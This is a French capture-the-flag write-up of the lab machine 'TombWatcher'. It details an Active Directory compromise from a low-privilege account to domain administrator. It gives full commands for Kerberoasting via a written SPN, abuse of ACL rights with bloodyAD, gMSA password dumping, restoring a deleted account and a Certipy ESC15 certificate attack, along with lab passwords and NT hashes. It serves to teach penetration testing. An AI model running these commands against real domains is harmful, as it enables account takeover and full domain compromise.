Accueil
Write-up
TombWatcher
Février 2026
--- ## Résumé La machine s'est déroulée en trois phases majeures : 1. **Compromission initiale et Mouvements latéraux :** Exploitation d'une chaîne de mauvaises configurations de permissions, incluant du Kerberoasting (via *WriteSPN*), l'abus de groupes, et la compromission d'un compte de service gMSA. 2. **Fouille de l'historique AD (Tombstone) :** Restauration d'un compte à privilèges supprimé. 3. **Compromission du Domaine :** Abus des services de certificats Active Directory (AD CS) via la vuln **ESC15** sur le compte restauré, permettant d'usurper l'identité de l'Administrateur du domaine. --- ## 1. Reconnaissance On commence avec un scan Nmap sur l'IP `10.129.232.167`. On repère les ports d'un contrôleur de domaine (DNS, Kerberos, RPC, LDAP, SMB). On a un compte de base pour démarrer : `henry` avec le mot de passe `H3nry_987TGV!`. Je lance NetExec (`nxc smb`) pour énumérer les users du domaine `tombwatcher.htb`, et on trouve une petite liste : Henry, Alfred, sam et john. ```bash nxc smb "DC01.tombwatcher.htb" -u 'henry' -p 'H3nry_987TGV!' --users ``` ## 2. Premier flag : BloodHound & Kerberoasting J'utilise `rusthound` pour récupérer un zip à importer sur Bloodhound. ```bash rusthound -d "tombwatcher.htb" -u "henry" -p 'H3nry_987TGV!' --zip --ldaps --adcs --old-bloodhound ```
Execution de la commande rusthound
En regardant le graphe de notre user `henry`, on voit qu'il a les droits **WriteSPN** sur l'utilisateur `Alfred`.
Henry a les droits WriteSPN sur Alfred
On va lui écrire un faux SPN pour pouvoir le Kerberoast juste après. J'utilise `bloodyAD` pour set le SPN :
Commande pour set le SPN de Alfred
```bash bloodyAD --host 10.129.232.167 -u 'henry' -p 'H3nry_987TGV!' set object alfred servicePrincipalName -v 'fake/spn' ``` *(Petite astuce : j'avais le problème `Clock skew too great` avec Exegol, donc j'ai utilisé `faketime` pour me sync avec l'horloge du DC).* Une fois sync, je lance `GetUserSPNs.py` et je récupère le hash d'Alfred.
Récupération du hash d'Alfred
Je lance Hashcat avec rockyou.txt, et voici le mot de passe : `basketball`.
Utilisation de Hashcat pour cracker le hash d'Alfred
## 3. Mouvements Latéraux À partir de là, on enchaîne les abus d'ACEs pour remonter jusqu'à l'utilisateur `john`. **Étape 1 : Alfred ➔ ansible_dev$** Alfred a le droit **AddSelf** sur le groupe `Infrastructure`. Ce groupe a le droit de lire le mot de passe du compte de service GMSA `ansible_dev$\` (**ReadGMSAPassword**). * Je m'ajoute au groupe avec : `bloodyAD --host "10.129.232.167" -d "tombwatcher.htb" -u "alfred" -p "basketball" add groupMember "Infrastructure" "alfred"` * J'utilise `gMSADumper.py` et je récupère le hash NT de `ansible_dev$` : `93f81a98d22217b6206d950528a4802e`.
Utilisation de gMSADumper pour récupérer le hash de ansible_dev$
**Étape 2 : ansible_dev$ ➔ sam** Le compte GMSA a le droit **ForceChangePassword** sur l'user `sam`. * J'utilise encore `bloodyAD` pour forcer le mot de passe de `sam` en `Pwnd123!`. `bloodyAD --host "10.129.232.167" -d "tombwatcher.htb" -u "ansible_dev$" -p ":93f81a98d22217b6206d950528a4802e" set password "sam" 'Pwnd123!'`
Vérification du changement de mot de passe
**Étape 3 : sam ➔ john (User Flag)** `sam` peut modifier l'owner de `john` (**ChangeOwner**). * Je change l'owner avec le SID de sam. `bloodyAD --host "10.129.232.167" -d "tombwatcher.htb" -u "sam" -p 'Pwnd123!' set owner "john" "S-1-5-21-3623811015-3361044348-30300820-1013"` * Ensuite, je me mets les droits **GenericAll** sur `john`. `bloodyAD --host "10.129.232.167" -d "tombwatcher.htb" -u "sam" -p 'Pwnd123!' set object john genericAll` * Et, je change le mot de passe de `john` en `Pwnd123!`. Connexion avec `evil-winrm`, et on a le premier flag !
Connexion avec evil-winrm et récupération du premier flag
## 4. Road to Root : Tombstone ADCS ESC15 Le nom de la box me faisait penser à la "Tombstone" de l'AD (qui stocke les objets supprimés). J'ai cherché avec `Get-ADObject -Filter 'isDeleted -eq $true' -IncludeDeletedObjects -Properties givenName, LastKnownParent` et j'ai trouvé trois users nommés `cert_admin`.
Enumération des objets supprimés avec PowerView
En fouillant les ACLs de `john` avec PowerView, j'ai vu qu'il avait les droits **GenericAll** sur l'OU `ADCS`.
Enumération des ACLs de john
Donc nous avons tous les éléments pour la suite : 1. On restaure l'un des comptes `cert_admin` depuis les objets supprimés : ```powershell Restore-ADObject -Identity "938182c3-bf0b-410a-9aaa-45c8e1a02ebf" ``` 2. ET on lui set un mot de passe (`Pwnd123!`) avec bloodyAD. Puisque le compte s'appelle `cert_admin`, c'est surement une attaque ADCS, je lance `certipy find -u 'cert_admin@tombwatcher.htb' -p 'Pwnd123!' -dc-ip '10.129.232.167' -vulnerable -stdout` et : il y a la vuln **ESC15** sur le template `WebServer`.
Vulnérabilité ESC15 détectée par Certipy template WebServer
Les 3 étapes de l'ESC15 avec Certipy : **1. Récupérer un certificat "Agent" :** On demande un certificat pour cert_admin en spécifiant l'OID du Certificate Request Agent (1.3.6.1.4.1.311.20.2.1) dans les Application Policies. Grâce à ce rôle, on peut maintenant demander le certificat de n'importe quel user. ```bash certipy req -u 'cert_admin@tombwatcher.htb' -p 'Pwnd123!' -application-policies "1.3.6.1.4.1.311.20.2.1" -ca 'tombwatcher-CA-1' -template 'WebServer' -dc-ip 10.129.232.167 ```
Demande de certificat avec EKU "Certificate Request Agent"
**2. Demander un certificat au nom de l'Admin :** Maintenant, je demande un certificat pour l'Administrateur du domaine. ```bash certipy req -u 'cert_admin@tombwatcher.htb' -p 'Pwnd123!' -on-behalf-of 'tombwatcher\administrator' -template User -ca 'tombwatcher-CA-1' -pfx cert_admin.pfx -dc-ip 10.129.232.167 ```
Demande de certificat avec EKU "Certificate Request Agent" pour l'admin
**3. Récupérer le hash NT de l'Admin :** On s'authentifie avec le `.pfx` pour récupérer le hash NT de l'admin. ```bash certipy auth -pfx administrator.pfx -dc-ip 10.129.232.167 ```
Récupération du hash NT de l'Admin
Le hash NT de l'Admin : `f61db423bebe3328d33af26741afe5fc`. On peut maintenant se connecter avec `evil-winrm` sur le compte Administrator.
Récupération du dernier flag
--- ## Conclusion J'ai bien aimé cette box qui m'a permis de découvrir l'outil certipy, et de me familiariser avec les attaques ADCS.